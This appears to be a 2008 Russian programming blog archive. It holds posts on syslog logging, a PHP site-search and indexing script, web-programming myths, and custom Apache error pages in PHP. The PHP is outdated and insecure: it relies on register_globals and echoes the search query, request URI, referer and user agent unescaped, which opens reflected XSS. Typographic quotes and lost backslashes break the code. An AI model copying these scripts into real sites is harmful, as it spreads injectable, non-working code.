Архив за Март, 2008

Использование syslog для логирования работы программ/скриптов

Очередной раз заглянув в почту и обнаружив очередную пачку писем от серверов решил положить этому конец. Упрощало задачу то что, большую часть писем генерируют мои собственные программы и скрипты, которые установлены на различных серверах.

Большая часть этих сообщений не являются критичными. Например, <Невозможно соединится с сервером>, <Обработано файлов столько-то>, <Затрачено времени столько-то> и т.п. Я рассмотрел два основных варианта этой проблемы:

Первый вариант, в лоб - использовать перенаправление вывода или собственные лог-файлы. Этот вариант не удобен для мониторинга, так как придётся просматривать больше количество файлов отчётов.

Второй вариант - не изобретать велосипед и использовать syslog.

syslog - стандарт отправки сообщений о происходящих в системе событиях (логов), использующийся в компьютерных сетях, работающих по протоколу IP.

Протокол syslog прост: отправитель посылает короткое текстовое сообщение, размером меньше 1024 байт получателю сообщения. Получатель при этом носит имя <syslogd>, <syslog daemon>, либо же, <syslog server>. Сообщения могут отправляться как по UDP, так и по TCP. Как правило, такое сообщение отсылается в открытом виде.

Syslog используется для удобства администрирования и обеспечения информационной безопасности. Он реализован под множество платформ и используется в множестве устройств. Поэтому, использование syslog позволяет обеспечить сбор информации с разных мест и хранение её в едином репозитории.

Как правило syslog и syslogd работают внутри одного сервера (то есть все соединения локальны) и никакой внешней сетевой деятельности не производится.

Теперь, как все это выглядит на практике.
Perl:
use Sys::Syslog;
openlog(”имя вашей программы”, “ndelay,pid”, “local0″);
syslog(LOG_WARNING, “Программа запущена”);

# тут программа

syslog(LOG_WARNING, “Программа завершила выполнение”);
closelog();
PHP:
openlog(”имя вашей программы”, LOG_PID | LOG_PERROR, LOG_LOCAL0);
syslog(LOG_WARNING,”Программа запущена”);

// тут программа

syslog(LOG_WARNING, “Программа завершила выполнение”);
closelog();
C/C++:
#include <syslog.h>
openlog(”имя вашей программы”, 0, LOG_USER);
syslog(LOG_NOTICE, “Can not open file “%s” for writing.”,filename);
closelog();

Далее можете поискать ваши сообщения в журналах syslog. Тут все зависит от настроек syslogd. Обычно это /var/log/messages.

В документации PHP написано, что в windows тоже работает, но я не пробовал.

Подробнее о флагах и значениях можно прочитать в руководствах:
C
PHP
Perl
Автор: mike

Tags: log, php, syslog

Добавить комментарий Март 24, 2008

Поиск на php

95% бесплатных php-скриптов (и не только php) - полный «отстой». Оно и понятно: хороший программист бесплатно ничего писать не будет, а если и будет, то только в свободное время в качестве развлечения, и уж, конечно не всякие банальности, вроде гостевых книг. Или, как говорил Рома Воронежский: «Вот проблема с этими творческими людьми: они всегда желают быть композиторами, художниками и писателями. В результате производством труб большого диаметра занимаются бездарности».

Именно так это и происходит.

Сегодня опять ковырялся в каталогах бесплатных скриптов, главным образом из любопытства, но еще и в тайной надежде найти что-нибудь забавное. В прошлый раз из «забавных» скриптов я нашел, например, «скрипт вывода текстового файла в php». Думал - парсер. Оказалось - да: почти что парсер. Привожу скрипт целиком: «?php include (”text.txt”); ?». Или вот вижу скрипт, написано «This script will reverse the text you give it. reversed: .ti evig uoy txet eht esrever lliw tpircs siht It isn’t very useful, it’s just funny. Try it out :)», то есть скрипт переворачивает строку задом-наперед. Самые худшие ожидания оправдались: они делали это циклом. Наверное, не знали, что в php есть специальная, уже готовая функция для этого:

Нашел скрипт поиска по сайту: он обшаривает директории, которые вы указали, открывает все html-файлы и тупо сравнивает: У меня тоже такой же скрипт был давным-давно написан, но потом, когда я понял, что народ поиском все-таки пользуется (сюрприз!), решил сделать его по-человечески. С индексом и прочими благами цивилизации: Сделал. В результате 1.5 мегабайта заметок превращаются в 900-килобайтный индекс за 17 секунд (индексацию надо проводить раз в несколько дней, или даже реже - в зависимости от скорости обновления сайта), после чего поиск по индексу происходит меньше одной секунды.

В общем, решил я все-таки поделиться этим скриптом. Краткая информация: скрипт на php, для работы никаких mysql не надо, предполагается, что html-ные (или txt-овые, как у меня) файлы где-то лежат, а не хранятся в mysql. В общем, поисковая машина для небольшого (ну, или «среднего») сайта. Как, например, spectator.ru.

Итак, начали:

Самое первое - скрипт индексации. Для чего он нужен?.. Вот у меня 278 заметок. Если мы будем открывать каждый файл и искать совпадения, то нам надо будет открыть 278 файлов. А это ой как долго: Более того, нам надо будет 278 раз провести хитрые манипуляции с этими файлами (про манипуляции - ниже). Если же у нас есть индекс, то во-первых, поиск происходит в одном файле (индексе), во-вторых, все эти «хитрые манипуляции» уже выполнены.

Алгоритм индексирующего скрипта такой:
Открываем очередной файл
Убираем из него «мусор» ( зачем убирается мусор - понятно, чем мусора меньше, тем ищется быстрее: ):
переводы строк
html-тэги
знаки препинания
слова, короче трех букв (а зачем они там?)
Делаем заглавные буквы строчными.
Убираем повторяющиеся слова. (Действительно, зачем нам вся это тавтология?)
Записываем все в индекс.
Если еще есть файлы, переходим к пункту 1.

Реализуется это все на php - легко!
<?php

// Spectator’s Indexing Script
// (C) Spectator.ru
// Для работы требуется PHP 4 или выше.
// Если вы будете использовать этот скрипт, ссылка на Spectator.ru
// крайне желательна. Спасибо.

// ставим скрипт “на счетчик” (чтобы знать, как долго он выполнялся
$ttt=microtime();
$ttt=((double)strstr($ttt, ‘ ‘)+(double)substr($ttt,0,strpos($ttt,’ ‘)));

$indexdir=”text”; #индексируемая директория
$indexfile=”indexfile.txt”; #файл, в котором будет лежать индекс
// если вы хотите индексировать файлы в нескольких директориях, надо
// внести несколько махоньких добавлений…

// делаем так, чтобы не было таймаута из-за того, что скрипт будет долго
// выполняться (на всякий случай) и из-за того, что пользователь нажмет
// кнопку “стоп” в браузере

$abort = ignore_user_abort(1);
set_time_limit(600);

// Функция, удалающая слова, короче 3х букв. Пригодится дальше.
function sw (&$item1, $key) { if (strlen($item1)<3) $item1=”"; }

// по очереди открываем все файлы в директории и проверяем, можно ли их
// индексировать у меня можно индексировать только файлы, которые имеют
// вид “число.txt” то есть && (is_numeric(str_replace (”.txt”,”", $file)))
// это вам наверняка не понадобится.

$handle=opendir(’./’.$indexdir);
while (false!==($file = readdir($handle))):
if ($file!=”.” && $file!=”..” && (is_numeric(str_replace (”.txt”,”", $file)))):

// открываем очередной файл
$fd = fopen ($indexdir.”/”.$file, “r”);
$contents = fread ($fd, filesize ($indexdir.”/”.$file));
Fclose ($fd);

// убираем переводы строк
$contents=str_replace (”n”,” “, $contents);
$contents=str_replace (”r”,”", $contents);

// убираем хтмл-тэги
$contents=str_replace (’<br>’, ‘ ‘, $contents);
$contents=str_replace (’<p>’, ‘ ‘, $contents);
$contents=strip_tags ($contents);

// убираем знаки препинания и цифры
// все эти строки работают быстрей, чем один eregi_replace!

$contents=str_replace (’ -’, ‘ ‘, $contents);
$contents=str_replace (’.', ‘ ‘, $contents);
$contents=str_replace (’,', ‘ ‘, $contents);
$contents=str_replace (’!', ‘ ‘, $contents);
$contents=str_replace (’?', ‘ ‘, $contents);
$contents=str_replace (’:', ‘ ‘, $contents);
$contents=str_replace (’;', ‘ ‘, $contents);
$contents=str_replace (’)', ‘ ‘, $contents);
$contents=str_replace (’(', ‘ ‘, $contents);
$contents=str_replace (’”‘, ‘ ‘, $contents);

// убираем заглавные буквы
$contents=strtolower ($contents);

// разбиваем на слова, убираем слова, короче 3х букв
$contents=explode (” “, $contents);
// вот и функция пригодилась…
array_walk ($contents, ’sw’);

// убираем повторяющиеся слова
$contents=array_unique ($contents);

// соединяем слова
$contents=implode (” “, $contents);

// формируем соответствующую строку в индексе.
$fullfile.=$file.”| “.$contents.” n”;

// индекс-файл будет иметь вид:
// имя_файла|индекс_для_данного_файла n
// имя_файла|индекс_для_данного_файла n
// имя_файла|индекс_для_данного_файла n

echo ($file.” проиндексирован<br>”);
// переходим к следующему файлу

endif;
endwhile;
closedir($handle);

// убираем двойные пробелы
while (stristr($fullfile, ” “)) $fullfile=str_replace (” “,” “,$fullfile);

// индекс готов, сохраняем его
$fp = fopen($indexfile, “w+”);
fwrite($fp, $fullfile);
fclose($fp);

// считаем, как долго работал скрипт
$ddd=microtime();
$ddd=((double)strstr($ddd, ‘ ‘)+(double)substr($ddd,0,strpos($ddd,’ ‘)));

echo (”<br>Время индексации: “.(number_format(($ddd-$ttt),3)).
” секунд<br>”);
echo (”Размер индекса: “.(number_format((round ((filesize($indexfile))/1024)) ,
0, “.”,”.”))).” Kb”;
?>

Итак, у нас есть индекс. Дальше - просто. Так ведь?.. Надо просто произвести поиск в нем. Берем функцию eregi, например:

Хотя я делал совсем по-другому:

Лирическое отступление: часто, когда надо проверить, если в строке какая-нибудь комбинация символов, пишут что-то вроде этого:
if (eregi(’this must be found’,$string))
echo ‘found!!’;
else
echo ‘нифига не found!’;

Способ хороший, но тормозной - из-за eregi. (Функция это работает с регулярными выражениями, поэтому и тормозит). По той же причине рекомендуется использовать там, где это можно, str_replace вместо ereg_replace. Быстрее раз в 10: Поэтому крутые программеры ;), когда им надо проверить, найдено ли что-то в строке, используют функцию strstr. На самом деле, она для этого не предназначена, (верней, «предназначена не для этого»), ибо она «Find first occurrence of a string», то есть «ищет первое местонахождение строки» и выводит строку, начиная с этого самого местоположения. Запутал, верно? (смайлик).

Ок, вот пример с php.net:
$email = ’sterling@designmultimedia.com’;
$domain = strstr ($email, ‘@’);
print $domain;
// выводит: @designmultimedia.com

Теперь понятно? Функция ищет, где в строке встречается подстрока «@» и выводит все после нее (включительно). Что самое главное - если ничего на найдено, то функция возвращает false. Именно поэтому ее можно использовать вот так:
if (stristr($string, ‘this must be found’))
echo ‘found!!’;
else
echo ‘нифига не found!’;

У меня в скрипте для поиска в индексе используется stristr. Кроме того, поиск понимает простейший синтаксис: «+» (слово должно быть найдено, aka AND), «-» (слово не должно быть найдено, aka NOT) и «*» (звездочка). Но, анализируя то, что искали у меня на сайте, могу сказать только одно: Где-то в дискуссии про поисковые машины и их AI (искусственный интеллект), я нашел такую фразу, что «проще выучить последнего дебила пользоваться языком запросов, чем научить поисковую машину угадывать, что же именно этому дебилу надо/». Действительно, запрограммировать поисковую систему так, чтобы она сразу же выдавала то, что надо по идиотским запросам - сложно. Но, похоже, обучить ИХ составлять запросы правильно еще сложней:

В моем поиске всеми этими значками никто не пользуется, как бы я ни распинался. Хотя, когда мне надо найти у себя что-то конкретное, я нахожу с первого запроса (да, конечно, я ведь примерно знаю, что искать, и сам писал скрипт поиска, но все-таки:)

Скрипт простой, но работает надежно. Если правильно составить запрос - то находит все с первого раза. В принципе, можно еще сделать сортировку по релевантности, сделать так, чтобы из найденного файла показывался кусок с текстом, где искомое слово было бы выделено, и прочее: Но это вы делайте сами:
<?php

// Spectator’s Site Search Script
// (C) Spectator.ru
// Для работы требуется PHP 4 или выше.
// Если вы будете использовать этот скрипт, ссылка на Spectator.ru
// крайне желательна. Спасибо.

// файл с индексом
$indexfile=”indexfile.txt”;

// обрабатываем запрос

$total=0;
$qu2=str_replace (”+”,”&”,$words);

// убираем заглавные буквы
$qu2=strtolower ($qu2);

// обрубаем в конце лишние пробелы
$qu2=chop($qu2);

// убираем двойные пробелы
while (stristr($qu2,” “)) $qu2=str_replace (” “,” “,$qu2);

echo (’Запрос: ‘.$qu2);
echo (’<p><p><p>’);

// разбиваем запрос на слова
$words = explode (’ ‘, $qu2);

// удаляем в запросе все лишнее (знаки препинания, и прочее)
$qu2=eregi_replace (’[.?,!()#”:;|]’, ”, $qu2);

// проверяем длинну запроса
if (strlen($qu2)>2):

// открываем индекс
$index=file ($indexfile);
$num= (count($index)-1);

// для каждой сточки из индекса (одна строчка=один файл) выполняем:
for ($i=1; $i<$num+2; $i++):

$contents=$index[$i-1];

$wordcount =0;
$mustfound=1;

// выполняем для каждого их запрошенных слов:
$mustntfound=1;

for ($q=0; $q<count($words); $q++):

// обработка знаков *, + и -

// знак *
if (stristr($words[$q], “*”)) {$search=str_replace (”*”,”",$words[$q]); }
else { $search=” “.$words[$q].” “;}

// если в слове есть звездочка, то убираем звездочку и добавляем в начало
// и конец слова по пробелу если нет проблелов, то слово будет искаться не
// целиком, а “вообще”, то есть на запрос “чай” будет выводиться и слово
// “случайный”.

// bug: скрипт не учитывает, где в слове стоит звездочка и считает, что в
// любом случае она стоит в конце (!!)

// знак & (или +)
if (stristr($search, “&”)) {$search=str_replace (”&”,”",$search); $mustfound++; }

// если стоит знак +, то количество слов, которые _должны_ быть найдены,
// увеличиваются на 1

// знак -
if (stristr($search, “-”)) {
$search=str_replace (”-”,”",$search);
$mustntfound=0;
}

// если стоит знак +, то если слово найдено, весь результат умножается на 0
// (смотри дальше).

// если слово найдено, считаем его и умножаем на $mustntfound, то есть на 1,
// если найдено “правильное” слово и на 0, если найдено слово, помеченное
// знаком -

if (stristr($contents, $search)) {
$wordcount++;
$wordcount=$wordcount*$mustntfound;
}

endfor;

// проверяем, все ли слова, помеченные знаком + найдены,
// либо (если таких слов нет), найдено ли вообще хоть одно слово

if ($wordcount >= $mustfound):

// находим имя файла, в котором это найдено
$file=explode (”|”,$contents);
$file=$file[0];

// выводим имя файла, в котором это найдено с ссылкой
// (этот кусочек вам надо будет переделать под собственные нужды).

$file=str_replace (”.txt”, “”, $file);
$file=str_replace (”_”, “.”, $file);
echo (”<a href=”.$file.”>”.$file.”</a><br>”);

// считаем, колько всего файлов надено
$total++;
endif;

// переходим к следующемуу файлу
endfor;

// выводим результаты
if ($total!=0) echo (’<br><br>Всего найдено страниц: ‘.$total);
else echo (”<b>Ничего не найдено!</b><p>Возможно, вы”.
.” просто не правильно составили запрос. Как это сделать правильно”.
.” - смотрите <a href=search>вот здесь</a>.”);

else:
echo (”<br>Слишком короткий запрос!”);
endif;

?>

<!– Форма для поиска: –>
<form method=get action=search.php>
<input type=text size=19 name=words value=”" maxlength=150>
<input type=submit class=frm value=Go>
</form>

PS. PHP.net - очень хороший сайт. 99% того, что мне надо, я нахожу там. Все просто: если вам не понятно, как работает какая-то функция, достаточно просто ввести ее в поле поиска на том сайте и вам выдадут описание функции, но кроме того, на php.net к описанию каждой функции пользователи могут оставлять комментарии, поэтому вам выдадут и гору толковых комментариев. То, что надо.

© http://spectator.ru/

Добавить комментарий >>>

Tags: php, search, поиск

Добавить комментарий Март 23, 2008

5 мифов Web программирования

В каждой области существуют свои мифы, каждая сфера деятельности овеяна некоторой тайной, в следствие которой появляются мифы. Я попытался описать 5 наиболее распространенных на мой взгляд мифов о Web программировании.
Миф №1. C++/Pascal рулят миром.

Многие думают что, только такие гиганты программирования как Страуструп могут создать идеальный язык. Нет, на самом деле действительно на C можно написать все, что только можно реализовать в виде логической цепочки действий, но(!): обращу ваше внимание на слово “написать”. Т.е. написать то можно, но вот сколько это потребует усилий, какова будет цена выбора в пользу “идеального” языка. Возьмем, например PHP. Все знают (ну теперь точно все), что интерпретатор PHP написать на C. Что из этого следует? А то, что для того что бы писать скрипты для web на C так же легко и быстро, нужно будет написать аналог PHP. Все дело в задаче и “себестоимости” ее выполнения.
Миф №2. Web программист никогда не напишет “ничего серьезного”.

Под “серьезным” обычно понимается масштабный проект, который отнимает кучу времени нервов, но приносит таки “достойное” вознаграждение. ОК, вот аналогия из жизни. Капуста на рынке стоит N, в магазине эта же капуста стоит 1,25N, в супермаркете premium класса эта же капуста стоит 5N, а на базаре на рублевке эта же капуста стоит 1000N. И что, кто тут рубит капусту (пишет что-то серьезное)? Так вот, имхо, вопрос не в том, как вырастить капусту (написать программу), а как ее продать, а это уже вопрос из области маркетинга и программирование (хоть на PHP, хоть на C/Pascal) тут вообще не причем.
Миф №3. Лучше начинать учиться со “сложных” языков.

Отчасти, да. Вот только, как всегда завеса тайны, внесла коррективы трактовку этой фразы. Действительно что бы понять суть азы программирования (типы данных, ссылки, основы ООП) лучше начинать изучать тот язык где эти самые азы реализованы лучше всего, но(!): Обычно фраза “Лучше начинать учиться со “сложных” языков” употребляется в том контексте, что допустим человек выучивший PHP не сможет перейти допустим на C. Повторюсь PHP написан на C и унаследовал очень много от прорадителя. Значит PHP похож на C, ровно столько же сколько C похож на PHP. Почему кто-то не сможет перейти от простого к сложному, а от сложного к простому этот же самый человек сможет. Т.е. не изучая PHP вы способны изучить C, а вот освоив PHP вы сразу же, по мановению волшебной палочки, теряете свойство “могу изучить C”. Бред!
Миф №4. Пиши с нуля.

Этот миф часто возникает сам по себе в головах начинах кодеров. “Ах, сколько кода, как долго с ним разбираться”: “лучше я напишу свой аналог, в котором будет присутствовать только “то, что мне нужно”". Почему это миф? Во-первых, если сложно понять, чужой код, то это еще не значит что он плохой. Во-вторых, составляем список “того что нужно”, сравниваем с тем, что есть и забиваем на “пиши с нуля”. Лучше писать надстройки для, например, управлениями обмена ссылками между 10 (100,1000 нужное подчеркнуть) форумов, модули ко всяким CMS наконец. Другое дело, если кодить что-то уникальное по своей природе, но в 99,99% случаях фраза “пиши с нуля” употребляется из-за нежелания разбираться в чужом коде и учиться в целом. Психологический вопрос, имхо. Конечно, можно кодить с нуля для “закрепления пройденного материала”, но опять же это укладывается в те самые 0,001%.
Миф №5. Все уже написано.

Вот только не надо опускать руки! На самом деле написано настолько мало, что аж [censored]! Другое дело, если в процессе обучения (практики) кодинга, возникает ситуация когда не находится задачи к которой стоит “приложить руки”. И вот тут в игру вступают “срули”. У них все написано, все сделано, все места заняты: пора пойти и застрелится. Что тут можно сказать. Люди, это не программирование придумает задачи для жизни, а жизнь дает пишу (кусочек хлебушка и чашку и икорочкой) программисту. Не там ищите идеи. Действительно, накодить что-нить очень тяжело, а вот например накодить парсер, новостного сайта сложнее, еще сложнее усовершенствовать его и сделать настраиваемые уведомленения по e-mail, icq и sms. Еще сложнее написать систему отслеживания копий текста с сайта (мало ли кто-то “чисто случайно” забыл поставить ссылку на вас). Да много чего можно сделать.

Вместо заключения скажу, что многие мифы это на самом деле простая подмена понятий, или какие-то психологические барьеры. Никто не может решить за вас, что лучше, что правда, и что делать.

Автор: Kotov
Блог PHP разработчика

Tags: php

Добавить комментарий Март 22, 2008

Собственные страницы ошибок сервера Apache

Для начала немного теории. Всё, что написано ниже, справедливо для сервера Apache (их в интернете подавляющее большинство). Когда вы набираете в строке несуществующий адрес или переходите по “битой ссылке”, на страничке высвечивается жирными буквами сообщение “Not found” - “документ не найден”, хотя вкупе с устрашающим видом надписи может быть переведено неопытным пользователем как “пошёл вон” :). Кстати, пользователи IE возможно и не видели эту страничку ни разу, поскольку он – IE – формирует в этом случае своё сообщение с “дружественным” содержанием, типа “обновите страничку, позвоните другу, который вам эту ссылочку дал…”, но это делу не помогает. Иногда IE может и показать оригинальное сообщение сервера, но только в том случае, если оно больше определённого размера (по умолчанию 512 байт). В общем, итог всегда один – страницы нет и посетитель недоволен. А нам, администраторам сайтов, надо заботиться, чтобы эта потеря была менее болезненной.

Давайте разберёмся, что происходит на сервере при запросе правильных/ошибочных URL.

При GET-запросе URL (тот, что в адресной строке браузера) передаётся серверу, а на выходе клиенту выдаётся набор заголовков с последующим полем данных. Заголовки никогда не выводятся пользователю напрямую и содержат много служебной информации, которая может быть обработан CGI-скриптами (а это нам скоро и понадобится). Среди этих заголовков всегда есть так называемые коды ответов. Если не вдаваться в подробности, то они передаются примерно так:
GET /index.htm
HTTP/1.1 404 Not Found

Первая строка говорит о том, что пользователем (точнее, браузером пользователя) был передан запрос на страницу index.htm, а вторая строка сообщает ему, что такой документ не найден, после чего следует блок данных - HTML-страница с сообщением об ошибке. Если URL правильный, всё происходит так, как и должно быть – передаётся код ответа 200 и запрошенный файл. Код ответа 200 передаётся всегда при удачном запросе, но мы его никогда не видим. Как уже говорилось, при неудачном запросе сервер сгенерирует код ответа в диапазоне 400…499 и мы увидим стандартное сообщение об ошибке, которое, огорчает пользователя и портит репутацию сайта. Вообще говоря, у хорошего веб-мастера таких ошибок на сайте быть не должно, но не его вина, что например пользователь вдруг сказал “принеси то, не знаю что”.

Перейдём от рассуждений к делу. У сервера Apache имеется стандартная директива обработки ошибок ErrorDocument, которая сопоставляет коду ошибки адрес документа, который будет показан пользователю. Обычно перенаправление устанавливают на документ, содержащий логотип сайта и краткую информацию “что делать”. Увидев такую страницу вместо стандартного сообщения на fatal.ru (два года назад, когда начал заниматься веб-программированием), я долго был под впечатлением! Откуда они знают, что у меня такой страницы нет? :) Формат директивы такой:
ErrorDocument 400 400.html

В случае ошибки 400 пользователю выдаётся файл 400.html – всё очень просто и удобно. Сразу же отметим, что можно использовать четыре варианта передачи сообщения об ошибке:
ErrorDocument 500 http://foo.example.com/cgi-bin/tester
ErrorDocument 404 /cgi-bin/bad_urls.pl
ErrorDocument 401 /subscription_info.html
ErrorDocument 403 “Доступ запрещён

В последнем случае вместо файла пользователь увидит на экране сообщение, следующее за одиночной кавычкой (закрывать кавычку не следует!).

Прописать директиву можно в двух местах – конфигурационном файле Apache httpd.conf или в файле управления доступом к директориям .htaccess. В первом случае вы должны иметь доступ к httpd.conf, а для этого вы должны являться администратором сервера (и, скорее всего, вам эта статья не понадобилась бы :) или пользователем хостинга - во втором случае. Причём на хостинге должно быть включено редактирование .htaccess самим пользователем (это позволяют все платные и почти все бесплатные службы хостинга). Кроме того, на платных серверах часто установлена панель управления сайтом cPanel. Так вот там можно самому создавать и редактировать страницы ошибок на основе SSI, даже если вы не специалист.

Короче, создаём в корне своего сайта файлик .htaccess и записываем в него строчку “ErrorDocument 400 400.html”, при условии, что файл 400.html уже существует.

Дальше начинается самое интересное, а именно – как будет выглядеть эта страничка. Создать страничку можно как минимум тремя способами.
Самый простой вариант – набросать в HTML-редакторе или “Блокноте” обычную страничку без графического оформления и сохранить её под нужным именем.
Вариант посложнее – можно добавить в этот HTML-файл директивы SSI, которые, к примеру, будут показывать URL, адрес, с которого пришёл пользователь, время, подключить внешние файлы и т.д.
Но согласитесь, первые два варианта – это примитив, не достойный настоящего веб-мастера. Опытные программисты пишут страницы ошибок на PHP. В этом есть одно достоинство – мы получаем доступ к переменным окружения, что даёт возможность лучше анализировать ошибочную ситуацию, выводить больше информации пользователю, вести лог ошибок в файле или базе данных, а не тупо выводить Not found и посылать бедного юзера на главную страницу.

Как вы уже догадались, мы будем рассматривать именно третий вариант. Начнём с простого – как PHP-скрипт получит код ошибки? Естественно, через параметр. Например, вот так:

error.php?400

В самом скрипте код ошибки после знака вопроса будет доступен в переменной $argv[0]. Теперь проверим скрипт (он должен вывести код ошибки, указанный после “?”):
<?php
echo $argv[0];
?>

Можно было бы передать параметр в классическом виде error.php?id=400, но так проще и безопаснее - этот скрипт принимает только одну переменную, зачем лишние лазейки? Сразу же обезопасим скрипт от ввода неверных данных: приведём код к целому типу и сделаем присвоение кода 404 по умолчанию, если скрипт был вызван без параметров. Приучайте себя к написанию безопасного кода! Теперь даже если ввести error.php?404abc или даже error.php?abc – значение переменной $id (она введена для читабельности) всё равно будет равно 404.
<?php

// проверяем переменную
$id = $argv[0];
$id = abs(intval($id));
if (!$id) $id = 404;
echo $id;

?>

Следующее, что мы сделаем – сопоставим коду русскоязычное описание. Это можно сделать при помощи операторов switch…case, но опытный программист сделает это более аккуратно и красиво – через ассоциативный массив, в котором ключ – это код ошибки, а значение – это её описание. Сделать такой массив очень просто, да и дополнять его легче, чем списки switch…case. Рекомендую начинающим программистам всегда использовать ассоциативный массив вместо switch…case, если в списке больше трёх позиций – выигрыш в скорости, размере кода и понятности. Список кодов ошибок можно найти на официальном сайте W3C (организация по веб-стандартам) http://www.w3.org/Protocols/HTTP/HTRESP.html или в любой книге по веб-программированию. Я сделал так:
<?php

// проверяем переменную
$id = $argv[0];
$id = abs(intval($id));
if (!$id) $id = 404;

// ассоциативный массив кодов и описаний
$a[401] = “Требуется авторизация”;
$a[403] = “Пользователь не прошел аутентификацию, доступ запрещен”;
$a[404] = “Документ не найден”;
$a[500] = “Внутренняя ошибка сервера”;
$a[400] = “Неправильный запрос”;

// выводим код и описание
echo “$id $a[$id]”;

?>

В результате выполнения этого кода пользователь увидит сообщение “404 Документ не найден” (по-крайней мере, так вывелось у меня, вы можете смоделировать другую ошибку). В принципе, тот же результат можно было получить при использовании первого способа, но разве я сказал, что мы на этом остановимся?

Кстати, пока не забыл. Ошибки с кодами 500…599 встречаются обычно, когда ошибку совершает сценарий, расположенный на вашем сервере. Некоторые интерпретаторы сценариев, например PHP, никогда не допускают такой ошибки. Если в вашем PHP-скрипте есть ошибка, интерпретатор сам выведет ошибочное сообщение с указанием её происхождения, а не просто “Ошибка”. Со стороны сервера это будет выглядеть как нормальный ответ клиенту, поэтому ошибка 500 при использовании PHP у вас практически никогда не возникнет. В отличие от него, Perl генерирует ошибку 500 и записывает сообщение о ней в лог сервера. Иди потом, разбери его – сложность отладки Perl-скриптов очень высокая. Это была одна из причин, по которой мне в своё время посоветовали перейти с Perl на PHP, что я и сделал, чего и вам желаю.

Вернёмся к написанию скрипта. Основная часть – обработка кода ошибки – уже готова, займёмся “довесками”. Для начала выведем поясняющее сообщение с ошибочным URL:
echo “Запрошенный Вами URL: <b>http://$SERVER_NAME$REQUEST_URI</b><br /> “;

Здесь включены две глобальные переменные $SERVER_NAME и $REQUEST_URI. Первая содержит имя сервера, вторая – URI (не путать с URL), который был запрошен. Выведем ещё на всякий случай IP-адрес, название браузера и текущее время на сервере.
$time = date(”d.m.Y H:i:s”);
Ваш IP: <b>$REMOTE_ADDR</b><br />
Ваш браузер: <b>$HTTP_USER_AGENT</b><br />
Текущее время сервера: <b>$time</b><br />

Согласитесь, это уже намного интересней. Если пользователь пришёл на ошибку по ссылке с другой страницы, покажем ему и этот URL этой страницы (переменная $HTTP_REFERER). Дополнительно можно показать реальный IP-адрес клиента, если он работает через прокси (переменная $HTTP_X_FORWARDER_FOR).
if ($HTTP_REFERER) $body .= “Вы пришли со страницы: <b>$HTTP_REFERER</b><br />\n”;
if ($HTTP_X_FORWARDER_FOR) $body .= “Ваш IP через прокси: <b>$HTTP_X_FORWARDER_FOR</b><br />\n”;

Ну и в завершение в самом низу “подпись” сервера (не на всех хостингах она работает корректно, потому что это чисто “серверная” переменная):
$_SERVER[’SERVER_SIGNATURE’]

Думаю, этой информации будет достаточно, для того чтобы пользователь не почувствовал, что пришёл на “последнюю страницу интернета”. Но есть ещё одна деталь, которую не упустит внимательный программист. Вспомните, откуда вы чаще всего попадаете на “ошибочные страницы”? Ну конечно из поисковых систем, в которых информация быстро устаревает. В подавляющем большинстве случаев мелкие проекты, типа FoxWeb переезжают с сервера на сервер, а потом на новом сервере сайт модернизируется, а старый остаётся на старом месте. Ну, в общем вы меня поняли :). У меня было так: первый сайт был открыт на kiiut.fatal.ru, потом всё его содержимое было скопировано на foxweb.net.ru. В поисковых системах хранятся ссылки на оба сайта. Через какое-то время старое содержимое на foxweb было удалено, а ссылки на него остались в поисковиках. Если заменить адрес сервера в ошибочной ссылке, то она вполне будет работать. Поясню на примере.

Предположим, человек нашёл в поисковой системе что-то вроде http://foxweb.net.ru/catalog/sbornik_fox1.html. У нашего сервера такой ссылки нет, но она должна была остаться на старом сервере со старым содержимым. Тогда предложим пользователю перейти по адресу http://kiiut.fatal.ru/catalog/sbornik_fox1.html. Опишем эту особенность в программе:
Возможно интересующую Вас информацию можно найти по старому адресу:<br />
<a href=”http://kiiut.fatal.ru$REQUEST_URI” mce_href=”http://kiiut.fatal.ru$REQUEST_URI” target=”_blank”><b>http://kiiut.fatal.ru$REQUEST_URI</b></a><br />

Даже если у вас не было такой ситуации, как у меня, возможно вы переписывали скрипты и адреса поменялись. Например, http://someserver.ru/catalog/ заменим на http://someserver.ru/?catalog или http://someserver.ru/cgi-bin/catalog.cgi. Надеюсь, общий смысл вам понятен, главное знать, что чем заменять.

Есть ещё одна особенность применения ошибочных страниц. Если несуществующая страница вызвана через вложенные директории, а заменяющая страница (наш скрипт) лежит в корне, то картинки на ней не будут отображены, а ссылки не будут работать. Почему? Это произойдёт в том случае, если вы используете на своём сайте относительные пути. Приведу пример:

http://someserver.ru/dir1/dir2/dir3/ - ошибочный адрес.
http://someserver.ru/error.php?404 – заменяющая страница будет вызвана по ОШИБОЧНОМУ ПУТИ, так как будто она там и хранится! Тогда ссылки на ней типа “page1.html” будут реально приводить вас по адресу http://someserver.ru/dir1/dir2/dir3/page1.html что будет вызывать ещё большее количество ошибок. Излечиться от этого можно, используя абсолютные пути ссылок и картинок (с именем сервера) или ставить перед относительным путём знак “/”, что на большинстве серверов указывает на корневую директорию сайта. Заметьте, что знак “./” будет указывать на текущую директорию.

В заключении приведу полный текст скрипта. Он может использоваться как сам по себе (отдельная страничка), так и в качестве модуля основного движка (вызывается движком и вставляется в серединку шаблона, как это сделано на моём сайте). Для серьёзных профессиональных проектов может оказаться полезным записывать информацию об ошибках в базу данных.

Фрагмент файла http.conf или .htaccess для правильной обработки ошибок:

ErrorDocument 400 /error.php?400
ErrorDocument 401 /error.php?401
ErrorDocument 403 /error.php?403
ErrorDocument 404 /error.php?404
ErrorDocument 500 /error.php?500

Текст скрипта error.php:

<?php

$id = $argv[0];
$id = abs(intval($id));
if (!$id) $id = 404;

// ассоциативный массив кодов и описаний
$a[401] = “Требуется авторизация”;
$a[403] = “Пользователь не прошел аутентификацию, доступ запрещен”;
$a[404] = “Документ не найден”;
$a[500] = “Внутренняя ошибка сервера”;
$a[400] = “Неправильный запрос”;

// определяем дату и время в стандартном формате
$time = date(”d.m.Y H:i:s”);
// эта переменная содержит тело сообщения
$body =<<<END
Запрошенный Вами URL: <b>http://$SERVER_NAME$REQUEST_URI</b><br />
Возможно интересующую Вас информацию можно найти по старому адресу:<br />
<a href=”http://kiiut.fatal.ru$REQUEST_URI” mce_href=”http://kiiut.fatal.ru$REQUEST_URI” target=”_blank”><b>http://kiiut.fatal.ru$REQUEST_URI</b></a><br />
<br />
Ваш IP: <b>$REMOTE_ADDR</b><br />
Ваш браузер: <b>$HTTP_USER_AGENT</b><br />
Текущее время сервера: <b>$time</b><br />
END;
if ($HTTP_REFERER) $body .= “Вы пришли со страницы: <b>$HTTP_REFERER</b><br />\n”;
